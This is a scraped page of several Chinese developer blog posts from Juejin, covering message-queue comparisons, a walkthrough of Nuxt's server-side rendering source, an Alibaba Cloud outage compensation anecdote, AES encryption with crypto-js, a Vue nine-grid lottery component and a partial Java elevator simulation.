简单提一下,Broker 通过集群部署,并且提供了 master/slave 的结构,salve 定时从 master 同步数据(同步刷盘或者异步刷盘),如果 master 宕机,则 slave 提供消费服务,但是不能写入消息。


看到这里,大家应该可以发现,RocketMQ 的设计和 Kafka 真的很像!


2.3 RabbitMQ


RabbitMQ 2007 年发布,是使用 Erlang 语言开发的开源消息队列系统,基于 AMQP 协议来实现。


AMQP 的主要特征是面向消息、队列、路由、可靠性、安全。AMQP 协议更多用在企业系统内,对数据一致性、稳定性和可靠性要求很高的场景,对性能和吞吐量的要求还在其次。


重要概念



  • 信道(Channel):消息读写等操作在信道中进行,客户端可以建立多个信道,每个信道代表一个会话任务。

  • 交换器(Exchange):接收消息,按照路由规则将消息路由到一个或者多个队列;如果路由不到,或者返回给生产者,或者直接丢弃。

  • 路由键(RoutingKey):生产者将消息发送给交换器的时候,会发送一个 RoutingKey,用来指定路由规则,这样交换器就知道把消息发送到哪个队列。

  • 绑定(Binding):交换器和消息队列之间的虚拟连接,绑定中可以包含一个或者多个 RoutingKey。


RabbitMQ 工作原理


AMQP 协议模型由三部分组成:生产者、消费者和服务端,执行流程如下:



  1. 生产者是连接到 Server,建立一个连接,开启一个信道。

  2. 生产者声明交换器和队列,设置相关属性,并通过路由键将交换器和队列进行绑定。

  3. 消费者也需要进行建立连接,开启信道等操作,便于接收消息。

  4. 生产者发送消息,发送到服务端中的虚拟主机。

  5. 虚拟主机中的交换器根据路由键选择路由规则,发送到不同的消息队列中。

  6. 订阅了消息队列的消费者就可以获取到消息,进行消费。



常用交换器


RabbitMQ 常用的交换器类型有 direct、topic、fanout、headers 四种,具体的使用方法,可以参考官网:


官网入口:https://www.rabbitmq.com/getstarted.html


03 消息队列对比



3.1 Kafka


优点:



  • 高吞吐、低延迟:Kafka 最大的特点就是收发消息非常快,Kafka 每秒可以处理几十万条消息,它的最低延迟只有几毫秒;

  • 高伸缩性:每个主题(topic)包含多个分区(partition),主题中的分区可以分布在不同的主机(broker)中;

  • 高稳定性:Kafka 是分布式的,一个数据多个副本,某个节点宕机,Kafka 集群能够正常工作;

  • 持久性、可靠性、可回溯: Kafka 能够允许数据的持久化存储,消息被持久化到磁盘,并支持数据备份防止数据丢失,支持消息回溯;

  • 消息有序:通过控制能够保证所有消息被消费且仅被消费一次;

  • 有优秀的第三方 Kafka Web 管理界面 Kafka-Manager,在日志领域比较成熟,被多家公司和多个开源项目使用。


缺点:



  • Kafka 单机超过 64 个队列/分区,Load 会发生明显的飙高现象,队列越多,load 越高,发送消息响应时间变长;

  • 不支持消息路由,不支持延迟发送,不支持消息重试;

  • 社区更新较慢。


3.2 RocketMQ


优点:



  • 高吞吐:借鉴 Kafka 的设计,单一队列百万消息的堆积能力;

  • 高伸缩性:灵活的分布式横向扩展部署架构,整体架构其实和 kafka 很像;

  • 高容错性:通过ACK机制,保证消息一定能正常消费;

  • 持久化、可回溯:消息可以持久化到磁盘中,支持消息回溯;

  • 消息有序:在一个队列中可靠的先进先出(FIFO)和严格的顺序传递;

  • 支持发布/订阅和点对点消息模型,支持拉、推两种消息模式;

  • 提供 docker 镜像用于隔离测试和云集群部署,提供配置、指标和监控等功能丰富的 Dashboard。


缺点:



  • 不支持消息路由,支持的客户端语言不多,目前是 java 及 c++,其中 c++ 不成熟

  • 部分支持消息有序:需要将同一类的消息 hash 到同一个队列 Queue 中,才能支持消息的顺序,如果同一类消息散落到不同的 Queue中,就不能支持消息的顺序。

  • 社区活跃度一般。


3.3 RabbitMQ


优点:



  • 支持几乎所有最受欢迎的编程语言:Java,C,C ++,C#,Ruby,Perl,Python,PHP等等;

  • 支持消息路由:RabbitMQ 可以通过不同的交换器支持不同种类的消息路由;

  • 消息时序:通过延时队列,可以指定消息的延时时间,过期时间TTL等;

  • 支持容错处理:通过交付重试和死信交换器(DLX)来处理消息处理故障;

  • 提供了一个易用的用户界面,使得用户可以监控和管理消息 Broker;

  • 社区活跃度高。


缺点:



  • Erlang 开发,很难去看懂源码,不利于做二次开发和维护,基本职能依赖于开源社区的快速维护和修复 bug;

  • RabbitMQ 吞吐量会低一些,这是因为他做的实现机制比较重;

  • 不支持消息有序、持久化不好、不支持消息回溯、伸缩性一般。


04 消息队列选型


Kafka:追求高吞吐量,一开始的目的就是用于日志收集和传输,适合产生大量数据的互联网服务的数据收集业务,大型公司建议可以选用,如果有日志采集功能,肯定是首选 kafka。


RocketMQ:天生为金融互联网领域而生,对于可靠性要求很高的场景,尤其是电商里面的订单扣款,以及业务削峰,在大量交易涌入时,后端可能无法及时处理的情况。RoketMQ 在稳定性上可能更值得信赖,这些业务场景在阿里双 11 已经经历了多次考验,如果你的业务有上述并发场景,建议可以选择 RocketMQ。


RabbitMQ:结合 erlang 语言本身的并发优势,性能较好,社区活跃度也比较高,但是不利于做二次开发和维护,不过 RabbitMQ 的社区十分活跃,可以解决开发过程中遇到的 bug。如果你的数据量没有那么大,小公司优先选择功能比较完备的 RabbitMQ。


ActiveMQ:官方社区现在对 ActiveMQ 5.x 维护越来越少,较少在大规模吞吐的场景中使用。


今天就聊到这里,我们下一篇见~~




最后,把楼仔的座右铭送给你:我从清晨走过,也拥抱夜晚的星辰,人生没有捷径,你我皆平凡,你好,陌生人,一起共勉。


原创好文:


作者:楼仔
来源:juejin.cn/post/7306322677039235108
收起阅读 »

Nuxt源码浅析

web
来聊聊Nuxt源码。 聊聊启动nuxt项目 废话不多说,看官网一段Nuxt项目启动 const { Nuxt, Builder } = require('nuxt') const app = require('express')() const isProd...
继续阅读 »

来聊聊Nuxt源码。


聊聊启动nuxt项目


废话不多说,看官网一段Nuxt项目启动


const { Nuxt, Builder } = require('nuxt')

const app = require('express')()
const isProd = process.env.NODE_ENV === 'production'
const port = process.env.PORT || 3000

// 用指定的配置对象实例化 Nuxt.js
const config = require('./nuxt.config.js')
config.dev = !isProd
const nuxt = new Nuxt(config)

// 用 Nuxt.js 渲染每个路由
app.use(nuxt.render)

// 在开发模式下启用编译构建和热加载
if (config.dev) {
new Builder(nuxt).build().then(listen)
} else {
listen()
}

function listen() {
// 服务端监听
app.listen(port, '0.0.0.0')
console.log('Server listening on `localhost:' + port + '`.')
}

解读一下这段代码:


导入nuxt的Nuxt类和Builder类,然后用express创建一个node服务。


导入nuxt.config.js,使用导入的nuxt的config对象,创建nuxt实例: const nuxt = new Nuxt(config)


然后重点是 app.use(nuxt.render)。把nuxt.render作为node服务中间件使用即可。
到这里在生产上就可以运行了(生成前会先nuxt build)。


然后就是监听listen端口


所以到这里有2条线索,一个是:nuxt build的产物,自动生成路由。dist下的client和server资源文件是什么?
一个是,上面的服务,怎么会根据当前页面路径渲染出当期的html的。


你知道了,今天说的是第二条,来看看,nuxt是怎么渲染页面的,它做了什么nuxt到底是什么?


目录结构


下载好源码后来看下源码的核心目录结构


// 工程核心目录结构
├─ distributions
├─ nuxt // nuxt指令入口,同时对外暴露@nuxt/core、@nuxt/builder、@nuxt/generator、getWebpackConfig
├─ nuxt-start // nuxt start指令,同时对外暴露@nuxt/core
├─ lerna.json // lerna配置文件
├─ package.json
├─ packages // 工作目录
├─ babel-preset-app // babel初始预设
├─ builder // 根据路由构建动态当前页ssr资源,产出.nuxt资源
├─ cli // 脚手架命令入口
├─ config // 提供加载nuxt配置相关的方法
├─ core // Nuxt实例,加载nuxt配置,初始化应用模版,渲染页面,启动SSR服务
├─ generator // Generato实例,生成前端静态资源(非SSR)
├─ server // Server实例,基于Connect封装开发/生产环境http服务,管理Middleware
├─ types // ts类型
├─ utils // 工具类
├─ vue-app // 存放Nuxt应用构建模版,即.nuxt文件内容
├─ vue-renderer // 根据构建的SSR资源渲染html
└─ webpack // webpack相关配置、构建实例
├─ scripts
├─ test
└─ yarn.lock

Nuxt类在core下nuxt.js文件。来看看new Nuxt的主要代码:



export default class Nuxt extends Hookable {
constructor (options = {}) {
super(consola)

// Assign options and apply defaults
this.options = getNuxtConfig(options)

this.moduleContainer = new ModuleContainer(this)

// Deprecated hooks
this.deprecateHooks({
})

this.showReady = () => { this.callHook('webpack:done') }

// Init server
if (this.options.server !== false) {
this._initServer()
}

// Call ready
if (this.options._ready !== false) {
this.ready().catch((err) => {
consola.fatal(err)
})
}
}


ready () {
}

async _init () {
}

_initServer () {
}
}

实例化nuxt的工作内容很简单:



  1. this.options = getNuxtConfig(options) nuxt.config.js对象合并 Nuxt默认对象



// getDefaultNuxtConfig
export function getDefaultNuxtConfig (options = {}) {
if (!options.env) {
options.env = process.env
}

return {
..._app(),
..._common(),
build: build(),
messages: messages(),
modes: modes(),
render: render(),
router: router(),
server: server(options),
cli: cli(),
generate: generate()
}
}

// config
...
const nuxtConfig = getDefaultNuxtConfig()
defaultsDeep(options, nuxtConfig)
...



  1. this.moduleContainer = new ModuleContainer(this) 创建了一个moduleConiner实例


export default class ModuleContainer {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options
this.requiredModules = {}

}
}


  1. this._initServer() 来创建一个connect服务。


  _initServer () {
if (this.server) {
return
}
this.server = new Server(this)
this.renderer = this.server
this.render = this.server.app
defineAlias(this, this.server, ['renderRoute', 'renderAndGetWindow', 'listen'])
}

export default class Server {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options

this.globals = determineGlobals(nuxt.options.globalName, nuxt.options.globals)

this.publicPath = isUrl(this.options.build.publicPath)
? this.options.build._publicPath
: this.options.build.publicPath.replace(/^\.+\//, '/')

// Runtime shared resources
this.resources = {}

// Will be set after listen
this.listeners = []

// Create new connect instance
this.app = connect()

// Close hook
this.nuxt.hook('close', () => this.close())

// devMiddleware placeholder
if (this.options.dev) {
this.nuxt.hook('server:devMiddleware', (devMiddleware) => {
this.devMiddleware = devMiddleware
})
}
}
}

server很简单,使用connect创建了一个instance. 然后实例化一些参数。其中,我们发现nuxt会触发一些hooks。在每一个节点可以去做一些事情。nuxt能设置hooks是因为nuxt继承Hookable。


随后调用this.ready()方法,就是调用了私有init方法


async _init () {
await this.moduleContainer.ready()
await this.server.ready()
}

主要是调用两个实例的ready方法。


moduleContainer实例ready方法


 async ready () {
// Call before hook
await this.nuxt.callHook('modules:before', this, this.options.modules)

if (this.options.buildModules && !this.options._start) {
// Load every devModule in sequence
await sequence(this.options.buildModules, this.addModule)
}

// Load every module in sequence
await sequence(this.options.modules, this.addModule)

// Load ah-hoc modules last
await sequence(this.options._modules, this.addModule)

// Call done hook
await this.nuxt.callHook('modules:done', this)
}

总结就是加载 buildModules modules 模块并且执行。


buildModules: [
'@nuxtjs/eslint-module'
],
modules: [
'@nuxtjs/axios'
],

server实例的ready方法


async ready () {
this.serverContext = new ServerContext(this)
this.renderer = new VueRenderer(this.serverContext)
await this.renderer.ready()
await this.setupMiddleware()
}

ServerContext类很简单,就是设置server 上下文resources/options/nuxt/globals这些信息


export default class ServerContext {
constructor (server) {
this.nuxt = server.nuxt
this.globals = server.globals
this.options = server.options
this.resources = server.resources
}
}

VueRenderer ready方法做了那些事情呢?


async _ready () {
await this.loadResources(fs)
this.createRenderer()
}
get resourceMap () {
const publicPath = urlJoin(this.options.app.cdnURL, this.options.app.assetsPath)
return {
clientManifest: {
fileName: 'client.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
modernManifest: {
fileName: 'modern.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
serverManifest: {
fileName: 'server.manifest.json',
// BundleRenderer needs resolved contents
transform: async (src, { readResource }) => {
const serverManifest = JSON.parse(src)

const readResources = async (obj) => {
const _obj = {}
await Promise.all(Object.keys(obj).map(async (key) => {
_obj[key] = await readResource(obj[key])
}))
return _obj
}

const [files, maps] = await Promise.all([
readResources(serverManifest.files),
readResources(serverManifest.maps)
])

// Try to parse sourcemaps
for (const map in maps) {
if (maps[map] && maps[map].version) {
continue
}
try {
maps[map] = JSON.parse(maps[map])
} catch (e) {
maps[map] = { version: 3, sources: [], mappings: '' }
}
}

return {
...serverManifest,
files,
maps
}
}
},
ssrTemplate: {
fileName: 'index.ssr.html',
transform: src => this.parseTemplate(src)
},
spaTemplate: {
fileName: 'index.spa.html',
transform: src => this.parseTemplate(src)
}
}
}

this.renderer.ready() 加载resourceMap下的文件资源:clientManifest:client.manifest.json / modernManifest: modern.manifest.json / serverManifest: server.manifest.json / ssrTemplate: index.ssr.html / spaTemplate: index.spa.html


然后调用 createRenderer后,


	 renderer.renderer = {
ssr: new SSRRenderer(this.serverContext),
modern: new ModernRenderer(this.serverContext),
spa: new SPARenderer(this.serverContext)
}

其中,在render实例方法上有一个renderRoute方法还没有被调用。我们猜测估计是用在中间件上调用了(后面查看注册中间件也和我猜测一样)。


其调用流程renderRoute --> renderSSR(ssr.js 实例) --> renderer.renderer.render(renderContext) ssr.js 实例上的render


重点!!!!:ssr实例的render做了什么?


找到packages/vue-renderer/src/renderers/srr.js 发现


import { createBundleRenderer } from 'vue-server-renderer'
async render (renderContext) {
let APP = await this.vueRenderer.renderToString(renderContext)
return {
html,
cspScriptSrcHashes,
preloadFiles,
error: renderContext.nuxt.error,
redirected: renderContext.redirected
}
}
createRenderer () {
// Create bundle renderer for SSR
return createBundleRenderer(
this.serverContext.resources.serverManifest,
this.rendererOptions
)
}

createRenderer 返回值就是this.vueRenderer。


在实例化SSRRenderer的时候调用vue官方库: vue-server-renderer 的createBundleRenderer 方法生成了vueRenderer


然后调用renderToString 生成了html


然后对html做一些了HEAD 处理


所以renderRoute其实是调用 SSRRenderer(其中ssr)实例的render方法


最后看一下setupMiddleware


注册setupMiddleware


// nuxt.config.js 中的中间件
for (const m of this.options.serverMiddleware) {
this.useMiddleware(m)
}
// Finally use nuxtMiddleware
this.useMiddleware(nuxtMiddleware({
options: this.options,
nuxt: this.nuxt,
renderRoute: this.renderRoute.bind(this),
resources: this.resources
}))

....
renderRoute () {
return this.renderer.renderRoute.apply(this.renderer, arguments)
}


...
export default ({ options, nuxt, renderRoute, resources }) => async function nuxtMiddleware (req, res, next) {
const result = await renderRoute(url, context)
const {
html,
cspScriptSrcHashes,
error,
redirected,
preloadFiles
} = result
...
return html
}

进行nuxt中间件注册:


注册了serverMiddleware中的中间件
注册了公共页的中间件page中间件


注册了nuxtMiddleware中间件
注册了错误errorMiddleware中间件


其中nuxtMiddleware中间件就是 执行了 renderRoute


最后附上一张流程图:


img


一句话总结:new Next(config.js) 准备好了一些资源和中间件。app.use(nuxt.render)其实就是把connect当成一个中间件,当请求路过,经过nuxt注册好的中间件,去获取资源,并且renderToString返回页面需要的html。


参考:
juejin.cn/post/694166…
juejin.cn/post/691724…


作者:随风行酱
来源:juejin.cn/post/7306457908636287003
收起阅读 »

额,收到阿里云给的赔偿了

众所周知,就在刚过去不久的11月12号,阿里云突发了一次大规模故障,影响甚广。 以至于连咱们这里评论区小伙伴学校的洗衣机都崩了(手动doge)。 这么关键的双11节点,这么多热门业务和产品,这么大规模的崩盘故障,不一会儿这个事情便被推上了热搜。 而就在近...
继续阅读 »

众所周知,就在刚过去不久的11月12号,阿里云突发了一次大规模故障,影响甚广。



以至于连咱们这里评论区小伙伴学校的洗衣机都崩了(手动doge)。



这么关键的双11节点,这么多热门业务和产品,这么大规模的崩盘故障,不一会儿这个事情便被推上了热搜。



而就在近日,阿里云官网上就该故障也给出了一份故障复盘报告,而报告中则给出了这次事件的问题原因。



细看一下不难发现,说到底,在代码级还是存在逻辑缺陷问题。当然阿里云在报告中也给出了一系列相应的改进措施:



  • 增加AK服务白名单生成结果的校验及告警拦截能力。

  • 增加AK服务白名单更新的灰度验证逻辑,提前发现异常。

  • 增加AK服务白名单的快速恢复能力。

  • 加强云产品侧的联动恢复能力。


其实当时发生这个事情时,正好是周日的傍晚,当时自己正在家里吃晚饭,所以对于这波故障的直接感受并不明显。


本来对这个事情都没太注意了,不过就在前几天,突然收到了一条来自于阿里云的赔偿短信。



出于好奇,我也登进阿里云的控制台尝试领取了一下。


果然,50很快就到账了(不过是代金券。。)。



而赔偿对象则为阿里云的对象存储OSS服务。


看到这里我才想起来,因为之前自己用的阿里云对象存储OSS来存东西,所以收到这条赔偿短信也就不奇怪了。


不过,它这条短信里所谓的SLA赔偿到底是按照什么标准来的呢?


同样出于好奇,我也看了一下阿里云SLA定义与详细规则。这次的赔偿也是按照不同产品的服务等级协议来划分的。



比如我这次受影响的的使用产品就是阿里云的对象存储OSS,而其对应产品的服务等级协议里也明确规定有具体的赔偿标准。



后台显示当时对象存储OSS的服务可用性为99.9884%。



按照阿里云承诺的当前产品服务可用性不低于99.99%的标准,很明显这就触发赔偿了。



而具体赔付比例按照上面产品服务等级协议里的描述,则来到了10%这个档。


看到这里,我也不禁想起了前段时间语雀的故障赔付,当时语雀的补偿方案是针对个人用户赠送6个月的会员服务。


对于这样类似的赔偿结果,有的用户表示愿意继续给产品一次机会,当然也有用户会表示无法原谅并弃用之。


其实这种长时间、大规模的故障,对于一些重度依赖云产品的用户或者业务来说打击往往是致命的。而这些事后给出的所谓的SLA内的赔偿和客户实际所承担的业务损失来说往往是杯水车薪,压根就覆盖不住,这还不谈客户为此所额外付出的人力物力成本。



因此对于这些云服务商而言,除了赔偿,更重要的还是多研究研究如何加强故障预防和处理,持续提升服务的稳定性和可靠性才是关键。



注:本文在GitHub开源仓库「编程之路」 github.com/rd2coding/R… 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。



作者:CodeSheep
来源:juejin.cn/post/7306443667304431667
收起阅读 »

前端数据加解密 -- AES算法

web
在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。 在编...
继续阅读 »

在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。


在编写Web应用程序或任何需要保护信息安全的软件系统时,开发人员经常需要实现对用户信息或敏感数据的加密与解密。而AES加密算法常被选为这一任务的首选方案。在JavaScript领域,众多不同的库都提供了实现AES算法的接口,而crypto-js是其中最流行和最可靠的一个。接下来,就带大家深入探讨一下如何通过crypto-js来实现AES算法的加密与解密操作。


AES算法简介


首先,对AES算法有一个简要的了解是必须的。AES是一种对称加密算法,由美国国家标准与技术研究院(NIST)在2001年正式采纳。它是一种块加密标准,能够有效地加密和解密数据。对称加密意味着加密和解密使用相同的密钥,这就要求密钥的安全妥善保管。


AES加密算法允许使用多种长度的密钥—128位、192位、和256位。而在实际应用中,密钥的长度需要根据被保护数据的敏感度和所需的安全级别来选择。


密钥长度与安全性


随着计算机处理能力的增强,选择一个充分长度和复杂性的密钥变得尤为重要。在基于crypto-js库编写的加密实例encryptAES和解密实例decryptAES中,密钥encryptionKey须保持在8、16、32位字符数,对应于AES所支持的128、192、256位密钥长度。选择一个强大的、不容易被猜测的密钥,是确保加密强度的关键步骤之一。


加密模式与填充


在AES算法中,所涉及的数据通过预定的方式被组织成块进行加密和解密。因此,加密模式(Encryption Mode)和填充(Padding)在此过程中扮演着重要的角色。


加密模式定义了如何重复应用密钥进行数据块的加密。crypto-js中的电码本模式(ECB)是最简单的加密模式,每个块独立加密,使得它易于实现且无需复杂的初始化。


填充则是指在加密之前对最后一个数据块进行填充以至于它有足够的大小。在crypto-js中,PKCS#7是一个常用的填充标准,它会在加密前将任何短于块大小的数据进行填充,填充的字节内容是缺少多少位就补充多少字节的相同数值。这种方式确保了加密的数据块始终保持恰当的尺寸。


加解密相关依赖库


加解密需要依赖有crypto-js和base-64


import * as CryptoJS from 'crypto-js';
import base64 from 'base-64';
const { enc, mode, AES, pad } = CryptoJS;
var aseKey = 'youwillgotowork!';

JavaScript加密实例encryptAES


在本文中展示的encryptAES函数,使用crypto-js库通过AES算法实现了对传入消息的加密。加密流程是,首先使用AES进行加密,然后将加密结果进行Base64编码以方便存储和传输。最后,加密后的数据可安全地被传送到需要的目的地。


const encryptAES = message => {
var encryptedMessage = AES.encrypt(message, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString();
encryptedMessage = base64.encode(encryptedMessage);
return encryptedMessage;
};

此函数接受一个参数message,代表需要加密的原始信息。消息首先被转换为UTF-8编码的格式,以适应AES算法的输入要求。随后,在指定ECB模式和PKCS7填充的条件下,将消息与加密密钥一同送入加密函数。在此步骤,AES算法将消息转换为一串密文,随后通过Base64编码转换为字符串形式,使得加密结果可用于网络传输或存储。


JavaScript解密实例decryptAES


与加密过程相对应,解密为的是将加密后的密文还原为可读的原始信息。在decryptAES函数中,首先要对传入的Base64编码的加密消息进行解码,以恢复出AES算法可以直接处理的密文。然后,通过与加密过程相同的密钥和相应的ECB模式以及PKCS7填充标准进行解密,最后输出UTF-8编码的原始信息。


const decryptAES = message => {
var decryptedMessage = base64.decode(message);
decryptedMessage = AES.decrypt(decryptedMessage, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString(enc.Utf8);
return decryptedMessage;
};

在此函数中,message参数应是经过加密和Base64编码的字符串。解密时,加密的数据首先被Base64解码,变回AES可以直接处理的密文格式。接下来,与加密时使用同样的算法设置与密钥,通过AES.decrypt解密密文,然后将解密结果由于是二进制格式,通过调用toString(enc.Utf8)转换为UTF-8编码的可读文本。


效果展示


加解密的效果如下图所示:


image.png


作者:慕仲卿
来源:juejin.cn/post/7306459858126766130
收起阅读 »

VUE实现九宫格抽奖

web
一、前言 九宫格布局 注释了三种结果分支 懒得找图,背景色将就看一下 不足的地方,欢迎评论指正 二、代码注释详解 <template> <div class="box"> <div class="raffleBox...
继续阅读 »

一、前言



  • 九宫格布局

  • 注释了三种结果分支

  • 懒得找图,背景色将就看一下

  • 不足的地方,欢迎评论指正


二、代码注释详解


<template>
<div class="box">
<div class="raffleBox">
<div :class="{ raffleTrem: true, active: data.classFlag == 1 }">富强</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 2 }">民主</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 3 }">文明</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 8 }">法治</div>
<button class="raffleStart mt" @click="raffleStart" :disabled="data.disabledFlag">{{ !data.raffleFlag ? '开始' : '结束'
}}</button>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 4 }">和谐</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 7 }">公正</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 6 }">平等</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 5 }">自由</div>
</div>
</div>
</template>
<script setup>
import { ref, reactive } from 'vue';
const data = reactive({
classFlag: 0,
raffleFlag: false,
setIntervalFlag: null,
disabledFlag: false,
setIntervalNum: 1,
list: ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治']
})
//封装随机数,包含min, max值
const getRandom = (min, max) => {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
// 封装定时器
const fn = (num) => {
// 转动九宫格,如果到第八个重置为0再累加,否则进行累加
data.setIntervalFlag = setInterval(() => {
if (data.classFlag >= 8) {
data.classFlag = 0
data.classFlag++
} else {
data.classFlag++
}
}, num)
}
// 开始/结束
const raffleStart = () => {
// 抽奖标识赋反
data.raffleFlag = !data.raffleFlag

if (data.raffleFlag == true) {
// 禁用中间键
data.disabledFlag = true
// 延迟解禁用
setTimeout(() => {
data.disabledFlag = false
}, 2000)
// 开始
// 转动九宫格
fn(100)
} else {
data.disabledFlag = true
// 结束
let setIntervalA
setIntervalA = setInterval(() => {
if (data.setIntervalNum >= 6) {
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
clearInterval(setIntervalA)
setIntervalA = null
// 解开禁用
data.disabledFlag = false
// 此处可以进行中奖之后的逻辑
//例子1 随机结果
// data.classFlag = 0
// let prizeFlag = getRandom(1, 8)
// let prizeTxt = data.list[prizeFlag - 1]
// console.log(prizeTxt, '例子1');
//例子2 当前值的结果
// let prizeTxt2 = data.list[data.classFlag - 1]
// console.log(prizeTxt2, '例子2');
//例子3 某鹅常规操作
data.classFlag = 0
let confirmFlag = confirm("谢谢参与!请再接再励!");
if (confirmFlag || !confirmFlag) {
window.location.href = "https://juejin.cn/post/7306356286428594176"
}
return
}
// 累加定时器数字,用于缓慢停止定时器
data.setIntervalNum++
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
// 将当前累加数字作为参数计算,用于缓慢停止定时器
fn(data.setIntervalNum * 100)
}, 1500)
}

// data.classFlag = getRandom(1, 8)
}
// const { } = toRefs(data)
</script>
<style scoped lang="scss">
.box .raffleBox .active {
border-color: red;
}

.mt {
margin-top: 5px;
}

.raffleBox {
width: 315px;
margin: auto;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
text-align: center;
box-sizing: border-box;

.raffleTrem,
.raffleStart {
width: 100px;
height: 100px;
line-height: 100px;
background: #ccc;
box-sizing: border-box;
border: 1px solid rgba(0, 0, 0, 0);
}

.raffleStart {
background-color: aquamarine;
}
}
</style>


作者:加油乐
来源:juejin.cn/post/7306356286428594176
收起阅读 »

Java 实现电梯逻辑

一、实现结果说明 这里首先说明实现结果: 1、已实现: 实现电梯的移动逻辑。 实现了电梯外部的每个楼层的上下按钮。 实现了电梯运行的同时添加新楼层。 2、未实现: 没有实现电梯内部的按钮。 没有实现多个电梯协同运行。 没有实现电梯开关门时的逻辑。 二、...
继续阅读 »

一、实现结果说明


这里首先说明实现结果:


1、已实现:



  • 实现电梯的移动逻辑。

  • 实现了电梯外部的每个楼层的上下按钮。

  • 实现了电梯运行的同时添加新楼层。


2、未实现:



  • 没有实现电梯内部的按钮。

  • 没有实现多个电梯协同运行。

  • 没有实现电梯开关门时的逻辑。


二、电梯运行的情况



  • 当电梯向上移动时,会一直运行至发出请求的所有楼层中最高的楼层。

  • 向下移动时,会一直运行至发生请求的所有楼层中最低的楼层。

  • 在电梯运行过程中,如果有用户点击了某一层的按钮,会根据该层的按钮与当前电梯所在的层数和电梯要去的层数相比较,以及判断电梯的运行方向,来确定下一步去往的楼层。


三、实现说明


该代码实现使用 Java 编写,使用多线程来分析处理电梯的移动,以及各个楼层的按钮点击处理。


当然,没有展示的页面,Java 编写可视化页面还是相当吃翔的。采用控制台输出的方式来告诉开发者现在电梯所在的楼层。


实现代码中目前一共包含七个类(多数属于非严格的单例对象):



  • Lift.java:负责电梯的移动,从任务列表中取得任务,并判断电梯应该运行的方向。

  • LayerRequest.java:这个类是定义的一个数据结构,用来保存每个楼层的请求。负责处理电梯获取或者删除任务的请求,以及各个楼层召唤电梯的请求。

  • LayerList.java:该类保存着每个楼层。是一个继承了 ArrayList 的类。

  • Layer.java:该类表示的是单个楼层,存储着某个楼层的信息。

  • MoveDirection.java:电梯的移动方向,电梯的移动方向有三种:UP、DOWN、STOP。

  • Client.java:客户端处理类,电梯与外界交互就靠这一个类,可以使用该类向电梯发送上升或者下降的请求。同时该类管理着一个线程池。

  • Test.java:测试类。


四、部分代码解析


如果要查看源代码,可以从 CSDN 上下载 ZIP 文件 CSDN —— Java 实现电梯逻辑


同时也提供了 GitHub 项目地址:GitHub —— Java 实现电梯逻辑


1、Lift.java 核心代码


/**
* 向上移动电梯
*/

private void moveUp() {
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber;
while (currentLayerNumber < (targetLayerNumber = this.getTargetLayer().getLayerNumber())) {
this.moving();
Layer layer = this.layerList.get(currentLayerNumber);
this.setCurrentLayer(layer);
currentLayerNumber++;
if (currentLayerNumber != targetLayerNumber) {
this.passLayer(layer);
}
}
this.reachTargetLayer();
}

/**
* 向下移动电梯
*/

private void moveDown() {
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber;
while (currentLayerNumber > (targetLayerNumber = this.getTargetLayer().getLayerNumber())) {
this.moving();
// 这里减二是因为:
// 需要通过索引获取楼层, getLayerNumber() 对索引进行了加一, 需要减一获得索引,
// 而这里是电梯下降, 需要获取下一个楼层的索引, 所以还要再减一
Layer layer = this.layerList.get(currentLayerNumber - 2);
this.setCurrentLayer(layer);
currentLayerNumber--;
if (currentLayerNumber != targetLayerNumber) {
this.passLayer(layer);
}
}
this.reachTargetLayer();
}

/**
* 移动电梯到目标楼层
*/

private void move(int diff) {
if (diff > 0) {
moveDown();
} else {
moveUp();
}
}

/**
* 电梯运行, 主要负责电梯的移动
*/

void run() {
while (this.runnable()) {
try {
this.setUsing(this.layerRequest.hasTask());
if (!this.isUsing()) {
continue;
}
// 电梯有任务才会执行核心函数
this.runCore();
} catch (Exception e) {
e.printStackTrace();
}
}
}

/**
* 电梯是否可运行
*
* @return 可运行返回 true
*/

private boolean runnable() {
return !isFault();
}

/**
* 电梯运行核心 (我是这样起名的, 它配不配这个名字我就不知道了)<br/>
* 此时电梯一定处于 stop 状态
*/

private void runCore() {
Layer layer;
LayerRequest layerRequest = this.layerRequest;
int diff;
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber = this.getTargetLayer().getLayerNumber();

// 根据 当前楼层 与 目标楼层 的相对位置来设置电梯移动方向
if ((diff = currentLayerNumber - targetLayerNumber) < 0) {
layer = layerRequest.getLayer();
if (layer != null) {
this.setCurrentMoveDirection(MoveDirection.UP);
} else {
this.setCurrentMoveDirection(MoveDirection.DOWN);
}
} else if ((diff = currentLayerNumber - targetLayerNumber) > 0) {
layer = layerRequest.getLayer();
if (layer != null) {
this.setCurrentMoveDirection(MoveDirection.DOWN);
